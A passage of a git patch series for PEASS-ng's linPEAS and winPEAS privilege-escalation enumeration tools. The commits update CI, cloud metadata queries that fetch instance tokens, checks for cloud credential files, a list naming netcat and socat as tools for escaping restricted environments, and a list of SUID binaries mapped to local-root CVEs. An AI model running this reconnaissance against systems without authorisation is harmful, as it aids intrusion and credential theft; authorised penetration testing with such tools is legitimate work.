SystemCheck("browserinfo", new BrowserInfo()), new SystemCheck("filesinfo", new FilesInfo()), - //new SystemCheck("fileanalysis", new FileAnalysis()), + new SystemCheck("fileanalysis", new FileAnalysis()), }; var systemCheckAllKeys = new HashSet(_systemChecks.Select(i => i.Key)); @@ -118,7 +118,6 @@ namespace winPEAS.Checks if (string.Equals(arg, "all", StringComparison.CurrentCultureIgnoreCase)) { - _systemChecks.Add(new SystemCheck("fileanalysis", new FileAnalysis())); print_fileanalysis_warn = false; } @@ -278,6 +277,7 @@ namespace winPEAS.Checks } if (print_fileanalysis_warn){ + _systemChecks.RemoveAt(_systemChecks.Count - 1); Beaprint.ColorPrint(" [!] If you want to run the file analysis checks (search sensitive information in files), you need to specify the 'fileanalysis' or 'all' argument. Note that this search might take several minutes. For help, run winpeass.exe --help", Beaprint.YELLOW); } From b3bcfa446691f7a358c9cf0de96e0697b1238b10 Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Wed, 28 Aug 2024 21:57:32 +0200 Subject: [PATCH 47/69] f2 --- winPEAS/winPEASexe/winPEAS/Checks/Checks.cs | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/winPEAS/winPEASexe/winPEAS/Checks/Checks.cs b/winPEAS/winPEASexe/winPEAS/Checks/Checks.cs index 12ce311..69654d4 100644 --- a/winPEAS/winPEASexe/winPEAS/Checks/Checks.cs +++ b/winPEAS/winPEASexe/winPEAS/Checks/Checks.cs @@ -75,7 +75,6 @@ namespace winPEAS.Checks //Check parameters bool isAllChecks = true; bool isFileSearchEnabled = false; - var searchEnabledChecks = new HashSet() { "fileanalysis, filesinfo" }; bool wait = false; FileStream fileStream = null; StreamWriter fileWriter = null; @@ -114,6 +113,12 @@ namespace winPEAS.Checks if (string.Equals(arg, "fileanalysis", StringComparison.CurrentCultureIgnoreCase)) { print_fileanalysis_warn = false; + isFileSearchEnabled = true; + } + + if (string.Equals(arg, "filesinfo", StringComparison.CurrentCultureIgnoreCase)) + { + isFileSearchEnabled = true; } if (string.Equals(arg, "all", StringComparison.CurrentCultureIgnoreCase)) @@ -268,11 +273,6 @@ namespace winPEAS.Checks { _systemCheckSelectedKeysHashSet.Add(argToLower); isAllChecks = false; - - if (searchEnabledChecks.Contains(argToLower)) - { - isFileSearchEnabled = true; - } } } From f881a4719d545533d52b1b86e62529021f97d3e8 Mon Sep 17 00:00:00 2001 From: Jeffrey Bencteux Date: Tue, 3 Sep 2024 15:14:35 +0200 Subject: [PATCH 48/69] Update USEFUL_SOFTWARE.sh add lua and go binaries as it serves to escape restricted environments. --- linPEAS/builder/linpeas_parts/variables/USEFUL_SOFTWARE.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/linPEAS/builder/linpeas_parts/variables/USEFUL_SOFTWARE.sh b/linPEAS/builder/linpeas_parts/variables/USEFUL_SOFTWARE.sh index b83eba6..5fcc2f6 100644 --- a/linPEAS/builder/linpeas_parts/variables/USEFUL_SOFTWARE.sh +++ b/linPEAS/builder/linpeas_parts/variables/USEFUL_SOFTWARE.sh @@ -13,4 +13,4 @@ # Small linpeas: 1 -USEFUL_SOFTWARE="authbind aws az base64 ctr curl doas docker fetch g++ gcc gcloud gdb kubectl lxc make nc nc.traditional ncat netcat nmap perl php ping podman python python2 python2.6 python2.7 python3 python3.6 python3.7 pwsh rkt ruby runc socat sudo wget xterm" +USEFUL_SOFTWARE="authbind aws az base64 ctr curl doas docker fetch g++ gcc gcloud gdb go kubectl lua lxc make nc nc.traditional ncat netcat nmap perl php ping podman python python2 python2.6 python2.7 python3 python3.6 python3.7 pwsh rkt ruby runc socat sudo wget xterm" From ac8a3fac9742f8e6fd6d897ddd999b17ee5aa1c9 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Tue, 3 Sep 2024 22:02:59 +0000 Subject: [PATCH 49/69] Bump actions/download-artifact from 2 to 4.1.7 in /.github/workflows Bumps [actions/download-artifact](https://github.com/actions/download-artifact) from 2 to 4.1.7. - [Release notes](https://github.com/actions/download-artifact/releases) - [Commits](https://github.com/actions/download-artifact/compare/v2...v4.1.7) --- updated-dependencies: - dependency-name: actions/download-artifact dependency-type: direct:production ... Signed-off-by: dependabot[bot] --- .github/workflows/CI-master_tests.yml | 32 +++++++++++++-------------- 1 file changed, 16 insertions(+), 16 deletions(-) diff --git a/.github/workflows/CI-master_tests.yml b/.github/workflows/CI-master_tests.yml index 1ab5054..236d1ce 100644 --- a/.github/workflows/CI-master_tests.yml +++ b/.github/workflows/CI-master_tests.yml @@ -345,82 +345,82 @@ jobs: steps: # Download files to release - name: Download winpeasx64ofs - uses: actions/download-artifact@v2 + uses: actions/download-artifact@v4.1.7 with: name: winPEASx64_ofs.exe - name: Download winpeasx86ofs - uses: actions/download-artifact@v2 + uses: actions/download-artifact@v4.1.7 with: name: winPEASx86_ofs.exe - name: Download winpeasanyofs - uses: actions/download-artifact@v2 + uses: actions/download-artifact@v4.1.7 with: name: winPEASany_ofs.exe - name: Download winpeasx64 - uses: actions/download-artifact@v2 + uses: actions/download-artifact@v4.1.7 with: name: winPEASx64.exe - name: Download winpeasx86 - uses: actions/download-artifact@v2 + uses: actions/download-artifact@v4.1.7 with: name: winPEASx86.exe - name: Download winpeasany - uses: actions/download-artifact@v2 + uses: actions/download-artifact@v4.1.7 with: name: winPEASany.exe - name: Download winpeas.bat - uses: actions/download-artifact@v2 + uses: actions/download-artifact@v4.1.7 with: name: winPEAS.bat - name: Download linpeas.sh - uses: actions/download-artifact@v2 + uses: actions/download-artifact@v4.1.7 with: name: linpeas.sh - name: Download linpeas_fat.sh - uses: actions/download-artifact@v2 + uses: actions/download-artifact@v4.1.7 with: name: linpeas_fat.sh - name: Download linpeas_small.sh - uses: actions/download-artifact@v2 + uses: actions/download-artifact@v4.1.7 with: name: linpeas_small.sh - name: Download linpeas_linux_386 - uses: actions/download-artifact@v2 + uses: actions/download-artifact@v4.1.7 with: name: linpeas_linux_386 - name: Download linpeas_linux_amd64 - uses: actions/download-artifact@v2 + uses: actions/download-artifact@v4.1.7 with: name: linpeas_linux_amd64 - name: Download linpeas_linux_arm - uses: actions/download-artifact@v2 + uses: actions/download-artifact@v4.1.7 with: name: linpeas_linux_arm - name: Download linpeas_linux_arm64 - uses: actions/download-artifact@v2 + uses: actions/download-artifact@v4.1.7 with: name: linpeas_linux_arm64 - name: Download linpeas_darwin_amd64 - uses: actions/download-artifact@v2 + uses: actions/download-artifact@v4.1.7 with: name: linpeas_darwin_amd64 - name: Download linpeas_darwin_arm64 - uses: actions/download-artifact@v2 + uses: actions/download-artifact@v4.1.7 with: name: linpeas_darwin_arm64 From 5fa7823e380dae9b1c1d5989f0b6e3f6aeb47a40 Mon Sep 17 00:00:00 2001 From: B-Kluss <74971169+B-Kluss@users.noreply.github.com> Date: Thu, 5 Sep 2024 10:29:53 +0200 Subject: [PATCH 50/69] Fix: README.md Linpeas Exchange broken release page url --- linPEAS/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/linPEAS/README.md b/linPEAS/README.md index 43a985d..394c1e8 100755 --- a/linPEAS/README.md +++ b/linPEAS/README.md @@ -29,7 +29,7 @@ Note that by default, in the releases pages of this repository, you will find a - **linpeas_small.sh**: Contains only the most *important* checks making its size smaller. ## Quick Start -Find the **latest versions of all the scripts and binaries in [the releases page](releases/latest)**. +Find the **latest versions of all the scripts and binaries in [the releases page](https://github.com/peass-ng/PEASS-ng/releases/latest)**. ```bash # From public github From 7979c470a175fe9dc3ebb7ceca6f9b18724b493c Mon Sep 17 00:00:00 2001 From: SirBroccoli Date: Thu, 5 Sep 2024 14:02:04 +0200 Subject: [PATCH 51/69] Update CI-master_tests.yml --- .github/workflows/CI-master_tests.yml | 32 +++++++++++++-------------- 1 file changed, 16 insertions(+), 16 deletions(-) diff --git a/.github/workflows/CI-master_tests.yml b/.github/workflows/CI-master_tests.yml index 236d1ce..a527452 100644 --- a/.github/workflows/CI-master_tests.yml +++ b/.github/workflows/CI-master_tests.yml @@ -100,43 +100,43 @@ jobs: # Upload all the versions for the release - name: Upload winpeasx64 - uses: actions/upload-artifact@v2 + uses: actions/upload-artifact@v4 with: name: winPEASx64.exe path: winPEAS\winPEASexe\binaries\x64\Release\winPEASx64.exe - name: Upload winpeasx86 - uses: actions/upload-artifact@v2 + uses: actions/upload-artifact@v4 with: name: winPEASx86.exe path: winPEAS\winPEASexe\binaries\x86\Release\winPEASx86.exe - name: Upload winpeasany - uses: actions/upload-artifact@v2 + uses: actions/upload-artifact@v4 with: name: winPEASany.exe path: winPEAS\winPEASexe\binaries\Release\winPEASany.exe - name: Upload winpeasx64ofs - uses: actions/upload-artifact@v2 + uses: actions/upload-artifact@v4 with: name: winPEASx64_ofs.exe path: winPEAS\winPEASexe\binaries\Obfuscated Releases\winPEASx64_ofs.exe - name: Upload winpeasx86ofs - uses: actions/upload-artifact@v2 + uses: actions/upload-artifact@v4 with: name: winPEASx86_ofs.exe path: winPEAS\winPEASexe\binaries\Obfuscated Releases\winPEASx86_ofs.exe - name: Upload winpeasanyofs - uses: actions/upload-artifact@v2 + uses: actions/upload-artifact@v4 with: name: winPEASany_ofs.exe path: winPEAS\winPEASexe\binaries\Obfuscated Releases\winPEASany_ofs.exe - name: Upload winpeas.bat - uses: actions/upload-artifact@v2 + uses: actions/upload-artifact@v4 with: name: winPEAS.bat path: winPEAS\winPEASbat\winPEAS.bat @@ -240,57 +240,57 @@ jobs: # Upload files for release - name: Upload linpeas.sh - uses: actions/upload-artifact@v2 + uses: actions/upload-artifact@v4 with: name: linpeas.sh path: linPEAS/linpeas.sh - name: Upload linpeas_fat.sh - uses: actions/upload-artifact@v2 + uses: actions/upload-artifact@v4 with: name: linpeas_fat.sh path: linPEAS/linpeas_fat.sh - name: Upload linpeas_small.sh - uses: actions/upload-artifact@v2 + uses: actions/upload-artifact@v4 with: name: linpeas_small.sh path: linPEAS/linpeas_small.sh ## Linux bins - name: Upload linpeas_linux_386 - uses: actions/upload-artifact@v2 + uses: actions/upload-artifact@v4 with: name: linpeas_linux_386 path: sh2bin/builds/linpeas_linux_386 - name: Upload linpeas_linux_amd64 - uses: actions/upload-artifact@v2 + uses: actions/upload-artifact@v4 with: name: linpeas_linux_amd64 path: sh2bin/builds/linpeas_linux_amd64 - name: Upload linpeas_linux_arm - uses: actions/upload-artifact@v2 + uses: actions/upload-artifact@v4 with: name: linpeas_linux_arm path: sh2bin/builds/linpeas_linux_arm - name: Upload linpeas_linux_arm64 - uses: actions/upload-artifact@v2 + uses: actions/upload-artifact@v4 with: name: linpeas_linux_arm64 path: sh2bin/builds/linpeas_linux_arm64 ## Darwin bins - name: Upload linpeas_darwin_amd64 - uses: actions/upload-artifact@v2 + uses: actions/upload-artifact@v4 with: name: linpeas_darwin_amd64 path: sh2bin/builds/linpeas_darwin_amd64 - name: Upload linpeas_darwin_arm64 - uses: actions/upload-artifact@v2 + uses: actions/upload-artifact@v4 with: name: linpeas_darwin_arm64 path: sh2bin/builds/linpeas_darwin_arm64 From cb39091bfa0605c176bfcb36c20cf312b699f9f3 Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Thu, 19 Sep 2024 11:57:19 +0200 Subject: [PATCH 52/69] curl follow redirects --- linPEAS/builder/linpeas_parts/3_cloud/10_IBM_Cloud.sh | 2 +- linPEAS/builder/linpeas_parts/3_cloud/11_Ali_Cloud.sh | 2 +- linPEAS/builder/linpeas_parts/3_cloud/2_AWS_EC2.sh | 2 +- .../builder/linpeas_parts/3_cloud/6_Google_cloud_function.sh | 2 +- linPEAS/builder/linpeas_parts/3_cloud/6_Google_cloud_vm.sh | 2 +- linPEAS/builder/linpeas_parts/3_cloud/7_Azure_VM.sh | 2 +- linPEAS/builder/linpeas_parts/3_cloud/8_Azure_app_service.sh | 2 +- linPEAS/builder/linpeas_parts/3_cloud/9_DO_Droplet.sh | 2 +- 8 files changed, 8 insertions(+), 8 deletions(-) diff --git a/linPEAS/builder/linpeas_parts/3_cloud/10_IBM_Cloud.sh b/linPEAS/builder/linpeas_parts/3_cloud/10_IBM_Cloud.sh index eb4538e..f8d3370 100644 --- a/linPEAS/builder/linpeas_parts/3_cloud/10_IBM_Cloud.sh +++ b/linPEAS/builder/linpeas_parts/3_cloud/10_IBM_Cloud.sh @@ -26,7 +26,7 @@ if [ "$is_ibm_vm" = "Yes" ]; then ibm_req="" if [ "$(command -v curl || echo -n '')" ]; then - ibm_req="curl -s -f -H '$TOKEN_HEADER' -H '$ACCEPT_HEADER'" + ibm_req="curl -s -f -L -H '$TOKEN_HEADER' -H '$ACCEPT_HEADER'" elif [ "$(command -v wget || echo -n '')" ]; then ibm_req="wget -q -O - -H '$TOKEN_HEADER' -H '$ACCEPT_HEADER'" else diff --git a/linPEAS/builder/linpeas_parts/3_cloud/11_Ali_Cloud.sh b/linPEAS/builder/linpeas_parts/3_cloud/11_Ali_Cloud.sh index 8d6cdc6..6c6bff6 100644 --- a/linPEAS/builder/linpeas_parts/3_cloud/11_Ali_Cloud.sh +++ b/linPEAS/builder/linpeas_parts/3_cloud/11_Ali_Cloud.sh @@ -19,7 +19,7 @@ if [ "$is_aliyun_ecs" = "Yes" ]; then aliyun_token="" if [ "$(command -v curl)" ]; then aliyun_token=$(curl -X PUT "http://100.100.100.200/latest/api/token" -H "X-aliyun-ecs-metadata-token-ttl-seconds:1000") - aliyun_req='curl -s -f -H "X-aliyun-ecs-metadata-token: $aliyun_token"' + aliyun_req='curl -s -f -L -H "X-aliyun-ecs-metadata-token: $aliyun_token"' elif [ "$(command -v wget)" ]; then aliyun_token=$(wget -q -O - --method PUT "http://100.100.100.200/latest/api/token" --header "X-aliyun-ecs-metadata-token-ttl-seconds:1000") aliyun_req='wget -q -O --header "X-aliyun-ecs-metadata-token: $aliyun_token"' diff --git a/linPEAS/builder/linpeas_parts/3_cloud/2_AWS_EC2.sh b/linPEAS/builder/linpeas_parts/3_cloud/2_AWS_EC2.sh index b4c0a9c..5b50efd 100644 --- a/linPEAS/builder/linpeas_parts/3_cloud/2_AWS_EC2.sh +++ b/linPEAS/builder/linpeas_parts/3_cloud/2_AWS_EC2.sh @@ -21,7 +21,7 @@ if [ "$is_aws_ec2" = "Yes" ]; then aws_req="" if [ "$(command -v curl || echo -n '')" ]; then - aws_req="curl -s -f -H '$HEADER'" + aws_req="curl -s -f -L -H '$HEADER'" elif [ "$(command -v wget || echo -n '')" ]; then aws_req="wget -q -O - -H '$HEADER'" else diff --git a/linPEAS/builder/linpeas_parts/3_cloud/6_Google_cloud_function.sh b/linPEAS/builder/linpeas_parts/3_cloud/6_Google_cloud_function.sh index 9e44f81..fe3931e 100644 --- a/linPEAS/builder/linpeas_parts/3_cloud/6_Google_cloud_function.sh +++ b/linPEAS/builder/linpeas_parts/3_cloud/6_Google_cloud_function.sh @@ -16,7 +16,7 @@ if [ "$is_gcp_function" = "Yes" ]; then gcp_req="" if [ "$(command -v curl)" ]; then - gcp_req='curl -s -f -H "Metadata-Flavor: Google"' + gcp_req='curl -s -f -L -H "Metadata-Flavor: Google"' elif [ "$(command -v wget)" ]; then gcp_req='wget -q -O - --header "Metadata-Flavor: Google"' else diff --git a/linPEAS/builder/linpeas_parts/3_cloud/6_Google_cloud_vm.sh b/linPEAS/builder/linpeas_parts/3_cloud/6_Google_cloud_vm.sh index 53c4e39..cbcf2a9 100644 --- a/linPEAS/builder/linpeas_parts/3_cloud/6_Google_cloud_vm.sh +++ b/linPEAS/builder/linpeas_parts/3_cloud/6_Google_cloud_vm.sh @@ -16,7 +16,7 @@ if [ "$is_gcp_vm" = "Yes" ]; then gcp_req="" if [ "$(command -v curl || echo -n '')" ]; then - gcp_req='curl -s -f -H "Metadata-Flavor: Google"' + gcp_req='curl -s -f -L -H "Metadata-Flavor: Google"' elif [ "$(command -v wget || echo -n '')" ]; then gcp_req='wget -q -O - --header "Metadata-Flavor: Google"' else diff --git a/linPEAS/builder/linpeas_parts/3_cloud/7_Azure_VM.sh b/linPEAS/builder/linpeas_parts/3_cloud/7_Azure_VM.sh index 7c1f8a9..84e81af 100644 --- a/linPEAS/builder/linpeas_parts/3_cloud/7_Azure_VM.sh +++ b/linPEAS/builder/linpeas_parts/3_cloud/7_Azure_VM.sh @@ -22,7 +22,7 @@ if [ "$is_az_vm" = "Yes" ]; then az_req="" if [ "$(command -v curl || echo -n '')" ]; then - az_req="curl -s -f -H '$HEADER'" + az_req="curl -s -f -L -H '$HEADER'" elif [ "$(command -v wget || echo -n '')" ]; then az_req="wget -q -O - -H '$HEADER'" else diff --git a/linPEAS/builder/linpeas_parts/3_cloud/8_Azure_app_service.sh b/linPEAS/builder/linpeas_parts/3_cloud/8_Azure_app_service.sh index 2aef9b8..c5b3489 100644 --- a/linPEAS/builder/linpeas_parts/3_cloud/8_Azure_app_service.sh +++ b/linPEAS/builder/linpeas_parts/3_cloud/8_Azure_app_service.sh @@ -23,7 +23,7 @@ if [ "$is_az_app" = "Yes" ]; then az_req="" if [ "$(command -v curl || echo -n '')" ]; then - az_req="curl -s -f -H '$HEADER'" + az_req="curl -s -f -L -H '$HEADER'" elif [ "$(command -v wget || echo -n '')" ]; then az_req="wget -q -O - -H '$HEADER'" else diff --git a/linPEAS/builder/linpeas_parts/3_cloud/9_DO_Droplet.sh b/linPEAS/builder/linpeas_parts/3_cloud/9_DO_Droplet.sh index a06dc1f..b935c13 100644 --- a/linPEAS/builder/linpeas_parts/3_cloud/9_DO_Droplet.sh +++ b/linPEAS/builder/linpeas_parts/3_cloud/9_DO_Droplet.sh @@ -18,7 +18,7 @@ if [ "$is_do" = "Yes" ]; then do_req="" if [ "$(command -v curl || echo -n '')" ]; then - do_req='curl -s -f ' + do_req='curl -s -f -L ' elif [ "$(command -v wget || echo -n '')" ]; then do_req='wget -q -O - ' else From abfb06e77c39e808bb43ff3d57732a0f87501491 Mon Sep 17 00:00:00 2001 From: tunnellord <91414478+tunnellord@users.noreply.github.com> Date: Sun, 22 Sep 2024 14:35:21 +0200 Subject: [PATCH 53/69] User folder for cloud creds --- winPEAS/winPEASps1/winPEAS.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/winPEAS/winPEASps1/winPEAS.ps1 b/winPEAS/winPEASps1/winPEAS.ps1 index 0884504..b08d06b 100644 --- a/winPEAS/winPEASps1/winPEAS.ps1 +++ b/winPEAS/winPEASps1/winPEAS.ps1 @@ -1282,7 +1282,7 @@ $CCreds = @(".aws\credentials", ".azure\azureProfile.json") foreach ($u in $users) { $CCreds | ForEach-Object { - if (Test-Path "c:\$u\$_") { Write-Host "$_ found!" -ForegroundColor Red } + if (Test-Path "c:\Users\$u\$_") { Write-Host "$_ found!" -ForegroundColor Red } } } From d9f6e3eb467a5426237a35cbb5a04827fa8734bd Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Mon, 23 Sep 2024 14:36:50 +0200 Subject: [PATCH 54/69] fix issue 435 --- linPEAS/builder/linpeas_parts/variables/sudovB.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/linPEAS/builder/linpeas_parts/variables/sudovB.sh b/linPEAS/builder/linpeas_parts/variables/sudovB.sh index 9e1d0a1..224188d 100644 --- a/linPEAS/builder/linpeas_parts/variables/sudovB.sh +++ b/linPEAS/builder/linpeas_parts/variables/sudovB.sh @@ -13,4 +13,4 @@ # Small linpeas: 1 -sudovB="[01].[012345678].[0-9]+|1.9.[01234]|1.9.5p1" \ No newline at end of file +sudovB="[01].[012345678].[0-9]+|1.9.[01234][^0-9]|1.9.[01234]$|1.9.5p1" \ No newline at end of file From bf1edc9a18baf2354f57ca9971c1adbc7bf9173d Mon Sep 17 00:00:00 2001 From: SirBroccoli Date: Mon, 23 Sep 2024 14:41:43 +0200 Subject: [PATCH 55/69] Update CONTRIBUTING.md --- CONTRIBUTING.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 76e305c..f1821a1 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -13,7 +13,7 @@ If you want to **contribute adding the search of new files that can contain sens Also, in the comments of this PR, put links to pages where and example of the file containing sensitive information can be foud. ## Specific LinPEAS additions -From the PEASS-ng release **linpeas is auto-build from [linpeas/builder](https://github.com/peass-ng/PEASS-ng/blob/master/linPEAS/builder/)**. Therefore, if you want to contribute adding any new check for linpeas/macpeas, please **add it in this directory and create a PR to master**. *Note that some code is auto-generated in the python but most of it it's just written in different files that willbe merged into linpeas.sh*. +From the PEASS-ng release **linpeas is auto-build from [linpeas/builder](https://github.com/peass-ng/PEASS-ng/blob/master/linPEAS/builder/)**. Therefore, if you want to contribute adding any new check for linpeas/macpeas, please **add it in this directory and create a PR to master**. *Note that some code is auto-generated in the python but most of it it's just written in different files that will be merged into linpeas.sh*. The new linpeas.sh script will be auto-generated in the PR. ## Specific WinPEAS additions From b6ec3236d8c3026cf6f98a04394aa2f4a3bee8fc Mon Sep 17 00:00:00 2001 From: SirBroccoli Date: Mon, 23 Sep 2024 14:44:11 +0200 Subject: [PATCH 56/69] Change to once a month releases --- .github/workflows/CI-master_tests.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/CI-master_tests.yml b/.github/workflows/CI-master_tests.yml index a527452..83eee4d 100644 --- a/.github/workflows/CI-master_tests.yml +++ b/.github/workflows/CI-master_tests.yml @@ -9,7 +9,7 @@ on: - '.github/**' schedule: - - cron: "5 4 * * SUN" + - cron: "5 4 1 * *" workflow_dispatch: From 83f18f891f5583407e7450d74ea46c5db59450e5 Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Mon, 23 Sep 2024 14:57:12 +0200 Subject: [PATCH 57/69] add CVE-2021-4034 --- linPEAS/builder/linpeas_parts/variables/sidB.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/linPEAS/builder/linpeas_parts/variables/sidB.sh b/linPEAS/builder/linpeas_parts/variables/sidB.sh index a47b304..bbfbaf3 100644 --- a/linPEAS/builder/linpeas_parts/variables/sidB.sh +++ b/linPEAS/builder/linpeas_parts/variables/sidB.sh @@ -42,7 +42,7 @@ sidB="/apache2$%Read_root_passwd__apache2_-f_/etc/shadow\(CVE-2019-0211\)\ /newgrp$%HP-UX_10.20\ /ntfs-3g$%Debian9/8/7/Ubuntu/Gentoo/others/Ubuntu_Server_16.10_and_others\(02-2017\)\ /passwd$%Apple_Mac_OSX\(03-2006\)/Solaris_8/9\(12-2004\)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1\(02-1997\)\ - /pkexec$%Linux4.10_to_5.1.17\(CVE-2019-13272\)/rhel_6\(CVE-2011-1485\)\ + /pkexec$%Linux4.10_to_5.1.17\(CVE-2019-13272\)/rhel_6\(CVE-2011-1485\)/Generic_CVE-2021-4034\ /pppd$%Apple_Mac_OSX_10.4.8\(05-2007\)\ /pt_chown$%GNU_glibc_2.1/2.1.1_-6\(08-1999\)\ /pulseaudio$%\(Ubuntu_9.04/Slackware_12.2.0\)\ From faf6be53a84303b3c0e2a2eea14ad3355f368850 Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Mon, 23 Sep 2024 15:00:23 +0200 Subject: [PATCH 58/69] added new suids cves --- linPEAS/builder/linpeas_parts/variables/sidB.sh | 3 +++ 1 file changed, 3 insertions(+) diff --git a/linPEAS/builder/linpeas_parts/variables/sidB.sh b/linPEAS/builder/linpeas_parts/variables/sidB.sh index bbfbaf3..aebfabc 100644 --- a/linPEAS/builder/linpeas_parts/variables/sidB.sh +++ b/linPEAS/builder/linpeas_parts/variables/sidB.sh @@ -25,6 +25,9 @@ sidB="/apache2$%Read_root_passwd__apache2_-f_/etc/shadow\(CVE-2019-0211\)\ /dtappgather$%Solaris_7_<_11_\(SPARC/x86\)\(CVE-2017-3622\)\ /dtprintinfo$%Solaris_10_\(x86\)_and_lower_versions_also_SunOS_5.7_to_5.10\ /dtsession$%Oracle_Solaris_10_1/13_and_earlier\(CVE-2020-2696\)\ + /enlightenment_backlight$%Before_0.25.4_\(CVE-2022-37706\)\ + /enlightenment_ckpasswd$%Before_0.25.4_\(CVE-2022-37706\)\ + /enlightenment_sys$%Before_0.25.4_\(CVE-2022-37706\)\ /eject$%FreeBSD_mcweject_0.9/SGI_IRIX_6.2\ /ibstat$%IBM_AIX_Version_6.1/7.1\(09-2013\)\ /kcheckpass$%KDE_3.2.0_<-->_3.4.2_\(both_included\)\ From 7a9ea40cbbe5c4e345dd460fefcfc15c14ebf05d Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Tue, 24 Sep 2024 11:49:57 +0200 Subject: [PATCH 59/69] Less false possitives applied to small names --- linPEAS/builder/src/linpeasBuilder.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/linPEAS/builder/src/linpeasBuilder.py b/linPEAS/builder/src/linpeasBuilder.py index 1166db7..9079859 100644 --- a/linPEAS/builder/src/linpeasBuilder.py +++ b/linPEAS/builder/src/linpeasBuilder.py @@ -364,7 +364,10 @@ class LinpeasBuilder: except: rb = requests.get(f"https://raw.githubusercontent.com/GTFOBins/GTFOBins.github.io/master/_gtfobins/{b}.md", timeout=5) if "sudo:" in rb.text: - sudoVB.append(b+"$") + if len(b) <= 3: + sudoVB.append("[^a-ZA-Z0-9]"+b+"$") # Less false possitives applied to small names + else: + sudoVB.append(b+"$") if "suid:" in rb.text: suidVB.append("/"+b+"$") if "capabilities:" in rb.text: From f90cdf9a874d5b10762ec74fcfa43efce7d6b3e5 Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Tue, 1 Oct 2024 02:36:12 +0100 Subject: [PATCH 60/69] find gcpw info --- .../.vs/winPEAS.Tests.csproj.dtbcache.json | 1 + winPEAS/winPEASexe/Tests/App.config | 32 +- winPEAS/winPEASexe/Tests/packages.config | 8 + winPEAS/winPEASexe/Tests/winPEAS.Tests.csproj | 28 ++ .../winPEAS/.vs/winPEAS.csproj.dtbcache.json | 1 + winPEAS/winPEASexe/winPEAS/App.config | 32 +- .../winPEASexe/winPEAS/Checks/CloudInfo.cs | 3 +- .../winPEAS/Info/CloudInfo/GWorkspaceInfo.cs | 327 ++++++++++++++++++ winPEAS/winPEASexe/winPEAS/packages.config | 12 + winPEAS/winPEASexe/winPEAS/winPEAS.csproj | 57 ++- .../winPEASexe/winPEAS/winPEAS.csproj.user | 2 +- 11 files changed, 488 insertions(+), 15 deletions(-) create mode 100644 winPEAS/winPEASexe/Tests/.vs/winPEAS.Tests.csproj.dtbcache.json create mode 100644 winPEAS/winPEASexe/winPEAS/.vs/winPEAS.csproj.dtbcache.json create mode 100644 winPEAS/winPEASexe/winPEAS/Info/CloudInfo/GWorkspaceInfo.cs diff --git a/winPEAS/winPEASexe/Tests/.vs/winPEAS.Tests.csproj.dtbcache.json b/winPEAS/winPEASexe/Tests/.vs/winPEAS.Tests.csproj.dtbcache.json new file mode 100644 index 0000000..41f5900 --- /dev/null +++ b/winPEAS/winPEASexe/Tests/.vs/winPEAS.Tests.csproj.dtbcache.json @@ -0,0 +1 @@ +{"RootPath":"C:\\Users\\carlos_hacktricks\\Desktop\\git\\PEASS-ng\\winPEAS\\winPEASexe\\Tests","ProjectFileName":"winPEAS.Tests.csproj","Configuration":"Debug|AnyCPU","FrameworkPath":"","Sources":[],"References":[],"Analyzers":[],"Outputs":[{"OutputItemFullPath":"C:\\Users\\carlos_hacktricks\\Desktop\\git\\PEASS-ng\\winPEAS\\winPEASexe\\Tests\\bin\\Debug\\Tests.dll","OutputItemRelativePath":"Tests.dll"},{"OutputItemFullPath":"","OutputItemRelativePath":""}],"CopyToOutputEntries":[]} \ No newline at end of file diff --git a/winPEAS/winPEASexe/Tests/App.config b/winPEAS/winPEASexe/Tests/App.config index 88fa402..b041af8 100644 --- a/winPEAS/winPEASexe/Tests/App.config +++ b/winPEAS/winPEASexe/Tests/App.config @@ -1,6 +1,30 @@ - + - - - + + +
    + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/winPEAS/winPEASexe/Tests/packages.config b/winPEAS/winPEASexe/Tests/packages.config index fce08e4..edbbe48 100644 --- a/winPEAS/winPEASexe/Tests/packages.config +++ b/winPEAS/winPEASexe/Tests/packages.config @@ -1,7 +1,15 @@  + + + + + + + + \ No newline at end of file diff --git a/winPEAS/winPEASexe/Tests/winPEAS.Tests.csproj b/winPEAS/winPEASexe/Tests/winPEAS.Tests.csproj index aa6e8bc..1f50cae 100644 --- a/winPEAS/winPEASexe/Tests/winPEAS.Tests.csproj +++ b/winPEAS/winPEASexe/Tests/winPEAS.Tests.csproj @@ -1,5 +1,6 @@  + @@ -41,6 +42,15 @@ + + ..\packages\Portable.BouncyCastle.1.9.0\lib\net40\BouncyCastle.Crypto.dll + + + ..\packages\EntityFramework.6.4.4\lib\net45\EntityFramework.dll + + + ..\packages\EntityFramework.6.4.4\lib\net45\EntityFramework.SqlServer.dll + ..\packages\Microsoft.CodeCoverage.16.10.0\lib\net45\Microsoft.VisualStudio.CodeCoverage.Shim.dll @@ -50,8 +60,21 @@ ..\packages\MSTest.TestFramework.2.2.5\lib\net45\Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.dll + + ..\packages\Newtonsoft.Json.13.0.3\lib\net45\Newtonsoft.Json.dll + + + + ..\packages\Stub.System.Data.SQLite.Core.NetFramework.1.0.119.0\lib\net451\System.Data.SQLite.dll + + + ..\packages\System.Data.SQLite.EF6.1.0.119.0\lib\net451\System.Data.SQLite.EF6.dll + + + 